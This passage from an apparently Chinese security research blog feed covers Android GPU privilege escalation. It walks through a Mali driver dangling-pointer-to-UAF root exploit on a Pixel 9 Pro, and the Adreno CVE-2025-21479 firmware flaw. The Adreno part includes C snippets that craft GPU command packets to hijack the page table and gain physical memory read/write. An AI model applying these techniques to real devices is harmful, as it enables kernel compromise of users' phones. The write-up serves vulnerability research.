allocator 拿 page。对应 kfree 的时候，会识别到指针所指向的 page 不属于 slab 而直接用 <code>__free_pages</code> 将 page 归还到 buddy allocator。</p><p>此时可以自然地想到 Mali 作为 GPU 驱动所提供的直接处理内存的能力，而且从 Mali 拿到的内存可以被直接映射到用户态，非常好用。Mali 的 mem pool allocator 会在 mem pool 中的 page 不足时直接从 buddy allocator 拿 page，只要一次性申请大量的 GPU 内存，就可以拿到刚 kfree 到 buddy allocator 的 page。</p><p>或许会想到，用户态 mmap 匿名页也可以从 buddy allocator 拿 page，为什么要再去从 GPU 拿呢？实际上 buddy allocator 内的 page 有一定程度的隔离，除了最基础的按照不同的 order 分组（较易流通），还会按照不同的 migrate type 分组（很难流通）。通过 mmap 匿名页拿到的 page 的 migrate type 是 Movable，通过 kmalloc_large 拿到的 page 是 Unmovable 的，通过 mmap 匿名页很难拿到被 kfree 释放的 page，而从 GPU 拿到的 page 也是 Unmovable 的，可以很容易地实现与 kmalloc 之间的 page 互通。当然还有许多其他方法，这里就不深入讨论了。</p><p>此时再触发一次 kfree，就可以拿到可读写的已回收 page，接下来要做的就简单了，mmap 大量内存，使 UAF 的 page 被分配为页表，然后通过改写页表就可以做到任意物理地址读写（可以通过 GPU 内存 mmap 到用户态的 buffer 直接读写页表而无需其他介质），之后的利用就如履平地了。</p><p>在实际利用的过程中，我们尝试将 mmap 的地址按 2M 对齐，发现在申请的 GPU 内存中，只有一个 page 被重新分配为一张二级页表，其他的既没有变成三级页表，也没有变成普通的数据页。这是因为 Mali 的 mem pool allocator 在向 buddy allocator 拿 page 的时候，是一张一张申请的，从而把原本 buddy allocator 中的复合 page 打碎了。此时 kfree 会将指针对应的 page 当作单一 page 处理，最终只有一个 page 被再次回收。对于二级页表，只需将其页表项低位的描述符改为 block，就可以当作 huge page 的末级页表来使用。</p><p>最终我们在一台 Pixel 9 Pro（安全更新版本为 2025 年 11 月）上拿到了 root（在其他相关机型上也理论可行）。在开启 kernel MTE 的情况下，仍然可以利用成功并拿到 root 权限，但是在 kernel 的日志中可以看到 kasan 的 UAF warning。</p><img src="./exp.gif" width="33%"><h3 id="漏洞历史"><a class="markdownIt-Anchor" href="#漏洞历史"></a> 漏洞历史</h3><p>这个漏洞在 r53p0 版本被引入，为 kbasep_csf_cpu_queue_dump_print 函数添加的 timeout 让 kbase_csf_cpu_queue_dump_buffer 中 <code>cpu_queue.buffer</code> 指针的悬挂成为可能。</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">diff --git a/driver-r52p0/drivers/gpu/arm/midgard/csf/mali_kbase_csf_cpu_queue.c b/driver-r53p0/drivers/gpu/arm/midgard/csf/mali_kbase_csf_cpu_queue.c</span></span><br><span class="line"><span class="comment">index 087cdb4..2a1bdaa 100644</span></span><br><span class="line"><span class="comment">--- a/driver-r52p0/drivers/gpu/arm/midgard/csf/mali_kbase_csf_cpu_queue.c</span></span><br><span class="line"><span class="comment">+++ b/driver-r53p0/drivers/gpu/arm/midgard/csf/mali_kbase_csf_cpu_queue.c</span></span><br><span class="line"><span class="meta">@@ -1,7 +1,7 @@</span></span><br><span class="line"> // SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note</span><br><span class="line"> /*</span><br><span class="line">  *</span><br><span class="line"><span class="deletion">- * (C) COPYRIGHT 2023 ARM Limited. All rights reserved.</span></span><br><span class="line"><span class="addition">+ * (C) COPYRIGHT 2023-2024 ARM Limited. All rights reserved.</span></span><br><span class="line">  *</span><br><span class="line">  * This program is free software and is provided to you under the terms of the</span><br><span class="line">  * GNU General Public License version 2 as published by the Free Software</span><br><span class="line"><span class="meta">@@ -93,6 +93,8 @@</span> int kbase_csf_cpu_queue_dump_buffer(struct kbase_context *kctx, u64 buffer, size</span><br><span class="line"> </span><br><span class="line"> int kbasep_csf_cpu_queue_dump_print(struct kbase_context *kctx, struct kbasep_printer *kbpr)</span><br><span class="line"> &#123;</span><br><span class="line"><span class="addition">+       bool timed_out = false;</span></span><br><span class="line"><span class="addition">+</span></span><br><span class="line">        mutex_lock(&amp;kctx-&gt;csf.lock);</span><br><span class="line">        if (atomic_read(&amp;kctx-&gt;csf.cpu_queue.dump_req_status) != BASE_CSF_CPU_QUEUE_DUMP_COMPLETE) &#123;</span><br><span class="line">                kbasep_print(kbpr, &quot;Dump request already started! (try again)\\n&quot;);</span><br><span class="line"><span class="meta">@@ -108,10 +110,14 @@</span> int kbasep_csf_cpu_queue_dump_print(struct kbase_context *kctx, struct kbasep_pr</span><br><span class="line">        kbasep_print(kbpr, &quot;CPU Queues table (version:v&quot; __stringify(</span><br><span class="line">                                   MALI_CSF_CPU_QUEUE_DUMP_VERSION) &quot;):\\n&quot;);</span><br><span class="line"> </span><br><span class="line"><span class="deletion">-       wait_for_completion_timeout(&amp;kctx-&gt;csf.cpu_queue.dump_cmp, msecs_to_jiffies(3000));</span></span><br><span class="line"><span class="addition">+       if (WARN_ON(!wait_for_completion_timeout(&amp;kctx-&gt;csf.cpu_queue.dump_cmp,</span></span><br><span class="line"><span class="addition">+                                                msecs_to_jiffies(3000)))) &#123;</span></span><br><span class="line"><span class="addition">+               kbasep_print(kbpr, &quot;Failed to wait for completion of dump request\\n&quot;);</span></span><br><span class="line"><span class="addition">+               timed_out = true;</span></span><br><span class="line"><span class="addition">+       &#125;</span></span><br><span class="line"> </span><br><span class="line">        mutex_lock(&amp;kctx-&gt;csf.lock);</span><br><span class="line"><span class="deletion">-       if (kctx-&gt;csf.cpu_queue.buffer) &#123;</span></span><br><span class="line"><span class="addition">+       if (!timed_out &amp;&amp; kctx-&gt;csf.cpu_queue.buffer) &#123;</span></span><br><span class="line">                WARN_ON(atomic_read(&amp;kctx-&gt;csf.cpu_queue.dump_req_status) != BASE_CSF_CPU_QUEUE_DUMP_PENDING);</span><br><span class="line"> </span><br><span class="line">                /* The CPU queue dump is returned as a single formatted string */</span><br><span class="line"><span class="meta">@@ -122,7 +128,7 @@</span> int kbasep_csf_cpu_queue_dump_print(struct kbase_context *kctx, struct kbasep_pr</span><br><span class="line">                kctx-&gt;csf.cpu_queue.buffer = NULL;</span><br><span class="line">                kctx-&gt;csf.cpu_queue.buffer_size = 0;</span><br><span class="line">        &#125; else</span><br><span class="line"><span class="deletion">-               kbasep_print(kbpr, &quot;Dump error! (time out)\\n&quot;);</span></span><br><span class="line"><span class="addition">+               kbasep_print(kbpr, &quot;Dump error! (timed_out = %d)\\n&quot;, timed_out);</span></span><br><span class="line"> </span><br><span class="line">        atomic_set(&amp;kctx-&gt;csf.cpu_queue.dump_req_status, BASE_CSF_CPU_QUEUE_DUMP_COMPLETE);</span><br></pre></td></tr></table></figure><p>不过在 r54p1 版本的“修复”中，并没有直接解决 kbase_csf_cpu_queue_dump_buffer 中的指针悬挂，而是简单的回退了 kbasep_csf_cpu_queue_dump_print 中的 timeout，也许这个漏洞在之后的某个版本还会“死灰复燃”。</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">diff --git a/driver-r54p0/drivers/gpu/arm/midgard/csf/mali_kbase_csf_cpu_queue.c b/driver-r54p1/drivers/gpu/arm/midgard/csf/mali_kbase_csf_cpu_queue.c</span></span><br><span class="line"><span class="comment">index 2a1bdaa..087cdb4 100644</span></span><br><span class="line"><span class="comment">--- a/driver-r54p0/drivers/gpu/arm/midgard/csf/mali_kbase_csf_cpu_queue.c</span></span><br><span class="line"><span class="comment">+++ b/driver-r54p1/drivers/gpu/arm/midgard/csf/mali_kbase_csf_cpu_queue.c</span></span><br><span class="line"><span class="meta">@@ -1,7 +1,7 @@</span></span><br><span class="line"> // SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note</span><br><span class="line"> /*</span><br><span class="line">  *</span><br><span class="line"><span class="deletion">- * (C) COPYRIGHT 2023-2024 ARM Limited. All rights reserved.</span></span><br><span class="line"><span class="addition">+ * (C) COPYRIGHT 2023 ARM Limited. All rights reserved.</span></span><br><span class="line">  *</span><br><span class="line">  * This program is free software and is provided to you under the terms of the</span><br><span class="line">  * GNU General Public License version 2 as published by the Free Software</span><br><span class="line"><span class="meta">@@ -93,8 +93,6 @@</span> int kbase_csf_cpu_queue_dump_buffer(struct kbase_context *kctx, u64 buffer, size</span><br><span class="line"> </span><br><span class="line"> int kbasep_csf_cpu_queue_dump_print(struct kbase_context *kctx, struct kbasep_printer *kbpr)</span><br><span class="line"> &#123;</span><br><span class="line"><span class="deletion">-       bool timed_out = false;</span></span><br><span class="line"><span class="deletion">-</span></span><br><span class="line">        mutex_lock(&amp;kctx-&gt;csf.lock);</span><br><span class="line">        if (atomic_read(&amp;kctx-&gt;csf.cpu_queue.dump_req_status) != BASE_CSF_CPU_QUEUE_DUMP_COMPLETE) &#123;</span><br><span class="line">                kbasep_print(kbpr, &quot;Dump request already started! (try again)\\n&quot;);</span><br><span class="line"><span class="meta">@@ -110,14 +108,10 @@</span> int kbasep_csf_cpu_queue_dump_print(struct kbase_context *kctx, struct kbasep_pr</span><br><span class="line">        kbasep_print(kbpr, &quot;CPU Queues table (version:v&quot; __stringify(</span><br><span class="line">                                   MALI_CSF_CPU_QUEUE_DUMP_VERSION) &quot;):\\n&quot;);</span><br><span class="line"> </span><br><span class="line"><span class="deletion">-       if (WARN_ON(!wait_for_completion_timeout(&amp;kctx-&gt;csf.cpu_queue.dump_cmp,</span></span><br><span class="line"><span class="deletion">-                                                msecs_to_jiffies(3000)))) &#123;</span></span><br><span class="line"><span class="deletion">-               kbasep_print(kbpr, &quot;Failed to wait for completion of dump request\\n&quot;);</span></span><br><span class="line"><span class="deletion">-               timed_out = true;</span></span><br><span class="line"><span class="deletion">-       &#125;</span></span><br><span class="line"><span class="addition">+       wait_for_completion_timeout(&amp;kctx-&gt;csf.cpu_queue.dump_cmp, msecs_to_jiffies(3000));</span></span><br><span class="line"> </span><br><span class="line">        mutex_lock(&amp;kctx-&gt;csf.lock);</span><br><span class="line"><span class="deletion">-       if (!timed_out &amp;&amp; kctx-&gt;csf.cpu_queue.buffer) &#123;</span></span><br><span class="line"><span class="addition">+       if (kctx-&gt;csf.cpu_queue.buffer) &#123;</span></span><br><span class="line">                WARN_ON(atomic_read(&amp;kctx-&gt;csf.cpu_queue.dump_req_status) != BASE_CSF_CPU_QUEUE_DUMP_PENDING);</span><br><span class="line"> </span><br><span class="line">                /* The CPU queue dump is returned as a single formatted string */</span><br><span class="line"><span class="meta">@@ -128,7 +122,7 @@</span> int kbasep_csf_cpu_queue_dump_print(struct kbase_context *kctx, struct kbasep_pr</span><br><span class="line">                kctx-&gt;csf.cpu_queue.buffer = NULL;</span><br><span class="line">                kctx-&gt;csf.cpu_queue.buffer_size = 0;</span><br><span class="line">        &#125; else</span><br><span class="line"><span class="deletion">-               kbasep_print(kbpr, &quot;Dump error! (timed_out = %d)\\n&quot;, timed_out);</span></span><br><span class="line"><span class="addition">+               kbasep_print(kbpr, &quot;Dump error! (time out)\\n&quot;);</span></span><br><span class="line"> </span><br><span class="line">        atomic_set(&amp;kctx-&gt;csf.cpu_queue.dump_req_status, BASE_CSF_CPU_QUEUE_DUMP_COMPLETE);</span><br><span class="line"> </span><br></pre></td></tr></table></figure><p>ARM 在 12 月的<a href="https://developer.arm.com/documentation/110697/1-0/?lang=en">安全公告</a>中披露了三个 CVE：</p><ul><li>A local non-privileged user process can perform improper GPU processing operations to expose sensitive data. This issue has been assigned the identifier CVE-2025-2879.</li><li>A local non-privileged user process can perform improper GPU memory processing operations to gain access to already freed memory. This issue has been assigned the identifier CVE-2025-6349.</li><li>A local non-privileged user process can perform improper GPU processing operations to gain access to already freed memory. This issue has been assigned the identifier CVE-2025-8045.</li></ul><p>影响范围分别为：</p><ul><li>CVE-2025-2879: All versions from r29p0-r49p4, r50p0-r54p0</li><li>CVE-2025-6349: All versions from r53p0-r54p1</li><li>CVE-2025-8045: All versions from r53p0-r54p1</li></ul><p>虽然没有漏洞细节，但从受影响的版本来看，本文所分析的漏洞可能已被认定为 CVE-2025-6349 或 CVE-2025-8045。</p><h3 id="总结"><a class="markdownIt-Anchor" href="#总结"></a> 总结</h3><p>本文介绍了一次从 patch 分析未公开漏洞并最终完成提权利用的过程。尽管漏洞细节未被公开，但从 patch 文件中仍可以发现一些蛛丝马迹，这其中很有可能暗藏通向提权等利用的路径，而且供应链上下游之间安全补丁传递的延迟也为漏洞的在野利用提供了不小的风险窗口。</p><p>本文所分析的漏洞仅表现为一处悬挂指针，在正常流程下会被直接覆盖掉而不会有任何影响，但是在攻击者的视角下，任何“不完美”的代码都有可能被利用。通过对输入进行构造，这个悬挂的指针被引申到内存页的 UAF 中，并最终导致了权限提升。或许开发人员意识到了悬挂的指针可能会被滥用，但是一句简单的 <code>WARN_ON</code> 并不能在生产环境中阻止恶意程序的攻击，甚至无法让用户感知到风险的存在。</p><p>从移动端 GPU 安全的视角出发，GPU 与 kernel 内存管理的紧密联系暴露了一个非常大的攻击面，不仅体现在其漏洞会直接影响内存，也有为漏洞利用提供优良 Gadget 的风险。用户态程序通过 GPU 驱动可以非常方便的直接操作内存页，包括内存页的申请/回收/读写，这也可能会为源自其他地方（GPU 以外）的漏洞的利用提供便利，“短板效应”在安全领域尤为明显。未来 GPU 安全的发展如何，也值得我们去持续关注。</p><h3 id="references"><a class="markdownIt-Anchor" href="#references"></a> References</h3><p><a href="https://developer.arm.com/documentation/110697/1-0/?lang=en">https://developer.arm.com/documentation/110697/1-0/?lang=en</a></p><p><a href="https://source.android.com/docs/security/bulletin/2025-12-01?hl=zh-cn#Arm-components">https://source.android.com/docs/security/bulletin/2025-12-01?hl=zh-cn#Arm-components</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;GPU 驱动由于其与内存管理的紧密联系，已经成为近年来 Android Kernel 中一个比较有价值的攻击面，与 GPU 相关的 CVE 不算少，但是只有很少数漏洞被公开分析，安全公告中也不会谈及漏洞细节，因此每个版本的 patch 就成了分析漏洞的重要线索。&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>漫步安卓物理内存：CVE-2025-21479 提权实录</title>
    <link href="https://dawnslab.jd.com/android_gpu_attack_cve_2025_21479/"/>
    <id>https://dawnslab.jd.com/android_gpu_attack_cve_2025_21479/</id>
    <published>2025-08-21T03:45:14.000Z</published>
    <updated>2025-08-21T06:44:26.809Z</updated>
    
    <content type="html"><![CDATA[<h2 id="背景"><a class="markdownIt-Anchor" href="#背景"></a> 背景</h2><p>在大多数用户的印象里，GPU（图形处理器）是游戏流畅、视频绚丽的保障，是沉浸在虚拟世界背后的无名英雄。然而，在现代移动计算架构，尤其是在安卓生态中，GPU的角色早已超越了“图形画师”的范畴。它通过诸如OpenCL、Vulkan等通用计算框架，深度参与到机器学习、图像处理、甚至安全计算等关键任务中，成为了SoC（系统级芯片）中与CPU平起平坐的“第二颗大脑”。</p><p>正是这种权限与复杂性的与日俱增，使其成为了安全攻防的新前线。传统的安全模型高度聚焦于加固CPU和操作系统内核，却往往忽视了GPU这个拥有独立驱动、固件（Firmware）和强大DMA（直接内存访问）能力的“特权邻居”。一旦这个邻居的“家门”被撬开，攻击者获得的将是一个绕过所有主流内核防护机制的绝佳跳板。</p><span id="more"></span><p>近年来，GPU安全漏洞呈现显著上升趋势。正如Google Project Zero在2022年的<a href="https://googleprojectzero.blogspot.com/2022/04/the-more-you-know-more-you-know-you.html">博客</a>中提到的那样：</p><blockquote><p>There were 7 Android in-the-wild 0-days detected and disclosed this year. Prior to 2021 there had only been 1 and it was in 2019: <a href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2019/CVE-2019-2215.html">CVE-2019-2215</a>.</p><p>For the 7 Android 0-days they targeted the following components:<br />Qualcomm Adreno GPU driver (<a href="https://source.android.com/security/bulletin/2021-01-01">CVE-2020-11261</a>, <a href="https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2021/CVE-2021-1905.html">CVE-2021-1905</a>, <a href="https://source.android.com/security/bulletin/2021-05-01">CVE-2021-1906</a>)<br />ARM Mali GPU driver (<a href="https://source.android.com/security/bulletin/2021-05-01">CVE-2021-28663</a>, <a href="https://source.android.com/security/bulletin/2021-05-01">CVE-2021-28664</a><br />Upstream Linux kernel (<a href="https://googleprojectzero.github.io/0days-in-the-wild//0day-RCAs/2021/CVE-2021-1048.html">CVE-2021-1048</a>, <a href="https://source.android.com/security/bulletin/2021-11-01#kernel-components">CVE-2021-0920</a>)</p><p>5 of the 7 0-days from 2021 targeted GPU drivers.</p></blockquote><p>在2022年的7个在野0day中，有5个是关于GPU漏洞的，比例高达70%。且GPU漏洞的危害性往往极高，正如我们将要深入剖析的<strong>CVE-2025-21479</strong>一样，一旦被利用将引发从用户态直通物理内存操作的本地权限提升。</p><p>这个存在于高通Adreno GPU固件中的逻辑缺陷，正是一个典型的“核弹级”案例。它允许攻击者实现任意物理地址的读写操作。这意味着，攻击者不再需要与复杂的软件 mitigations（如KASLR、DEP、CFI）缠斗，而是直接“改写物理内存”。接下来，让我们一起揭开这场“上帝模式”漏洞的利用之旅。</p><h2 id="catch-the-bug-from-diff"><a class="markdownIt-Anchor" href="#catch-the-bug-from-diff"></a> Catch the bug from diff</h2><p>高通的<a href="https://docs.qualcomm.com/product/publicresources/securitybulletin/june-2025-bulletin.html">6月bulletin</a> 为我们带来了3个漏洞：CVE-2025-21479，CVE-2025-21480，CVE-2025-27038。但可惜没有一个注明了commit修复链接，这给漏洞研究带来了挑战。但没多久，就有一名大佬 zhuowei 在 <a href="https://github.com/zhuowei/cheese">github</a> 公开了他的漏洞poc和分析过程。</p><p>zhuowei 在文中提到，他通过Freedreno的 <a href="https://gitlab.freedesktop.org/mesa/mesa/-/blob/c0f56fc64cad946d5c4fda509ef3056994c183d9/src/freedreno/afuc/README.rst">afuc</a> 反汇编器逆向了三星S24的前后两个版本的GPU固件，并发现了一些端倪：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Galaxy S24 firmware: gen70900_sqe.fw</span><br><span class="line">April update (S921USQU4BYD9): v675</span><br><span class="line">May update (S921USQS4BYE4): v676</span><br></pre></td></tr></table></figure><p>这两个固件仅有一处<a href="https://gist.github.com/zhuowei/46a68b9ee53589cdeaa40c11d15d895f">差异</a>，即每次使用寄存器 <code>$12</code> 时，mask 从 0x3（0b11） 变成 0x7（0b111），多了1个bit，而这个<code>$12</code>代表着IB level。</p><figure class="highlight diff"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">        0163: b80300a4  CP_ME_INIT:</span><br><span class="line">        0163: b80300a4  fxn355:</span><br><span class="line">        0163: b80300a4  cread $03, [$00 + 0x0a4]</span><br><span class="line"><span class="deletion">-       0164: 2a440003  and $04, $12, 0x3</span></span><br><span class="line"><span class="addition">+       0164: 2a440007  and $04, $12, 0x7</span></span><br><span class="line">        0165: 98641813  ushr $03, $03, $04</span><br><span class="line">        0166: c860004a  brne $03, b0, #l432</span><br><span class="line">        0167: 01000000  nop</span><br></pre></td></tr></table></figure><p>自高通Adreno A7xx系列GPU起，其硬件引入了一个新的指令缓冲区（IB）层级，将原有的四级架构（RB、IB1、IB2、SDS）扩展为五级（RB、IB1、IB2、IB3、SDS）。关键问题在于，用于权限检查的微码逻辑未随之更新。微码通过 <code>当前层级值 AND 3</code> 的位运算来判定当前所处级别，若结果为0（即RB级），则允许执行特权指令。</p><p>在未打补丁的A7xx硬件上，当于第4级SDS执行指令时，计算 <code>4 AND 3</code> 得到结果0。这导致微码产生致命误判，错误地认为当前处于最高权限的RB级别，从而违规批准了特权指令的执行。</p><p>利用过程始于对 <code>CP_SET_DRAW_STATE</code> 指令的调用。此指令能让用户态应用在SDS层级上提交并执行命令序列。由于CVE-2025-21479漏洞的存在，当这个由用户控制的命令序列在SDS层级被执行时，GPU微码会错误地授予其RB层级的最高特权。攻击者可以滥用 <code>CP_SMMU_TABLE_UPDATE</code> 特权指令修改TTBR0寄存器对GPU的一级页表进行重配置。通过植入一个精心构造的恶意页表，攻击者可以完全掌控GPU对系统物理地址空间的映射关系。从而GPU沦为攻击者向任意物理内存地址发起读写攻击的武器，为后续获取内核权限奠定了决定性基础。</p><h2 id="构建内核物理地址读写原语"><a class="markdownIt-Anchor" href="#构建内核物理地址读写原语"></a> 构建内核物理地址读写原语</h2><p>成功利用 <code>CP_SMMU_TABLE_UPDATE</code> 获得配置页表的能力后，攻击的下一个阶段是构建一个稳定可靠的内核物理地址读写原语。其核心在于构造并定位一个受控的页表，并利用GPU指令实现任意物理内存的访问。</p><h3 id="为ttbr0构建受控页表"><a class="markdownIt-Anchor" href="#为ttbr0构建受控页表"></a> 为TTBR0构建受控页表</h3><p>攻击的首要步骤是准备一个恶意的一级页表，并将其物理地址配置到TTBR0寄存器中。该页表将负责定义GPU的虚拟地址到物理地址的映射关系。</p><p>内核物理地址读写的第一步，是构造出GPU的TTBR0页表，其中<code>0x1234567841414141</code>处就是TTBR0一级页表的物理地址：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 构造用于执行 CP_SMMU_TABLE_UPDATE 的指令序列</span></span><br><span class="line">*drawstate_cmds++ = cp_type7_packet(CP_SMMU_TABLE_UPDATE, <span class="number">4</span>);</span><br><span class="line">drawstate_cmds += cp_gpuaddr(drawstate_cmds, <span class="number">0x1234567841414141</span>); <span class="comment">// 目标TTBR0页表物理地址 (P)</span></span><br><span class="line">*drawstate_cmds++ = <span class="number">0x42424242</span>; <span class="comment">// 参数1</span></span><br><span class="line">*drawstate_cmds++ = <span class="number">0x43434343</span>; <span class="comment">// 参数2</span></span><br><span class="line">drawstate_cmds += cp_wait_for_me(drawstate_cmds);</span><br><span class="line">drawstate_cmds += cp_wait_for_idle(drawstate_cmds);</span><br></pre></td></tr></table></figure><p>然而，用户态无法直接获知自身内存的物理地址。为解决此问题，采用以下策略：</p><ol><li><strong>大量喷射匿名内存页</strong>：以此占据大量的物理页面，提高猜测命中概率。</li><li><strong>物理地址猜测</strong>：选取多个高概率命中的候选物理地址 P 作为假定的页表地址。</li><li><strong>精心设计虚拟地址映射</strong>：选择一个虚拟地址 V（例如 <code>0x40403000</code>），使其在各级页表行走中的索引均相同。此设计允许通过修改单个页表页 （P） 即可完成从 V 到任意目标物理地址 <code>P_target</code> 的映射，极大简化了页表操作。</li></ol><h4 id="定位受控页表"><a class="markdownIt-Anchor" href="#定位受控页表"></a> <strong>定位受控页表</strong></h4><p>为确认哪个被喷射的页面其物理地址恰好为猜测的 P，需进行以下验证：</p><ol><li>通过GPU特权指令向虚拟地址 V 写入一个特定魔数 x。若 P 此时确实是我们的匿名页，则GPU可以通过TTBR找到V对应的P 并向其中写入魔数。</li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">*drawstate_cmds++ = cp_type7_packet(CP_MEM_WRITE, <span class="number">3</span>);</span><br><span class="line">drawstate_cmds += cp_gpuaddr(drawstate_cmds, <span class="number">0x40403000</span>); <span class="comment">// 目标虚拟地址 V</span></span><br><span class="line">*drawstate_cmds++ = <span class="number">0x42424242</span>; <span class="comment">// 欲写入的魔数值 x</span></span><br></pre></td></tr></table></figure><ol start="2"><li>在用户态遍历所有喷射的匿名页，检查其中内容。若发现某个页面包含魔数 x，则可断定该页的物理地址即为 P。至此，我们获得了一个已知其物理地址 (P) 和虚拟地址的可读写内存页。</li></ol><h3 id="实现任意物理地址写"><a class="markdownIt-Anchor" href="#实现任意物理地址写"></a> 实现任意物理地址写</h3><p>一旦确定了页表页 P，写入任意物理地址 <code>P_target</code> 的过程变得直接：</p><p>修改映射：在已定位的页表页 P 中，修改虚拟地址 V 对应的页表项，使其指向目标物理地址 <code>P_target</code>。<br />执行写入：再次使用 <code>CP_MEM_WRITE</code> 指令向虚拟地址 V 写入数据。GPU会根据恶意页表，将数据实际写入物理地址 <code>P_target</code>。</p><h3 id="实现任意物理地址读"><a class="markdownIt-Anchor" href="#实现任意物理地址读"></a> 实现任意物理地址读</h3><p>GPU指令集未提供直接的内存读取指令，因此读取操作需要通过内存拷贝指令 <code>CP_MEM_TO_MEM</code> 间接实现。有两种策略：</p><ol><li><p>拷贝至TTBR0页 (P)：将目标物理地址 <code>P_target</code> 的内容拷贝至已控制的物理页 P 的某个偏移处。随后，在用户态直接读取该匿名页的对应虚拟地址，即可获得 <code>P_target</code> 的数据。</p><ul><li>风险：此操作会覆盖页表页的部分内容，需谨慎管理拷贝偏移量，或在执行后重新修复页表项。</li></ul></li><li><p>使用专用接收页 (P3)：更安全的方法是喷射并定位另一个物理页 P3 作为专用的数据接收缓冲区。将 <code>P_target</code> 的数据拷贝至 P3，然后在用户态读取 P3 对应的虚拟地址。这避免了污染关键的页表结构。</p></li></ol><p>此外，<code>CP_MEM_TO_MEM</code>指令只能拷贝4或8字节的内存，若需要拷贝16字节，则需要执行两遍该指令。由于漏洞只存在于A7xx设备，不妨直接使用A6xx引入的<a href="https://gitlab.freedesktop.org/mesa/mesa/-/blob/main/src/freedreno/registers/adreno/adreno_pm4.xml#L1361">CP_MEMCPY</a>指令，它实现了两个地址指定length的对拷，效率更高。</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">value</span> <span class="attr">name</span>=<span class="string">&quot;CP_MEMCPY&quot;</span> <span class="attr">value</span>=<span class="string">&quot;0x75&quot;</span> <span class="attr">variants</span>=<span class="string">&quot;A6XX-&quot;</span>/&gt;</span></span><br></pre></td></tr></table></figure><h2 id="物理基址探测与内核信息泄露"><a class="markdownIt-Anchor" href="#物理基址探测与内核信息泄露"></a> 物理基址探测与内核信息泄露</h2><p>在成功构建物理地址读写原语后，攻击者便具备了直接探查和篡改内核运行时数据的能力，这是实现最终提权的关键跳板。</p><h3 id="定位内核物理内存基址"><a class="markdownIt-Anchor" href="#定位内核物理内存基址"></a> 定位内核物理内存基址</h3><p>绝大多数安卓设备的内核物理内存加载基址在每次启动时是固定的。通过查询设备信息或利用已知的通用偏移（例如 <code>0xA8000000</code>, <code>0x80080000</code> 等），攻击者可以从此地址开始直接读取内存，从而将内核的代码和数据段完整地dump下来。这份原始内存镜像足以让攻击者进行离线分析，精确计算出该特定内核版本中关键数据结构（如 <code>selinux_state</code>）、函数地址以及防护机制（如 <code>KASLR</code> 偏移）的偏移量，进而编写出最终的利用载荷。</p><p>对于少数实施了内核物理地址空间布局随机化（PhyASLR）的厂商（如三星），其随机化强度通常较弱。正如研究员Pan Zhenpeng和Jheng Bing Jhong在其<a href="https://web.archive.org/web/20241114073403/https://powerofcommunity.net/poc2024/Pan%20Zhenpeng%20&amp;%20Jheng%20Bing%20Jhong,%20GPUAF%20-%20Two%20ways%20of%20rooting%20All%20Qualcomm%20based%20Android%20phones.pdf">研究</a>中指出的：</p><blockquote><p>“Samsung’s PhyASLR is aligned with 0x10000 and quite weak, by checking the instructions of _stext, can bypass it within 20 times.”</p></blockquote><p>因此，通过遍历数个按0x10000对齐的候选地址并验证其内容是否包含有效的内核指令签名，即可快速爆破出随机化后的实际基址。</p><h3 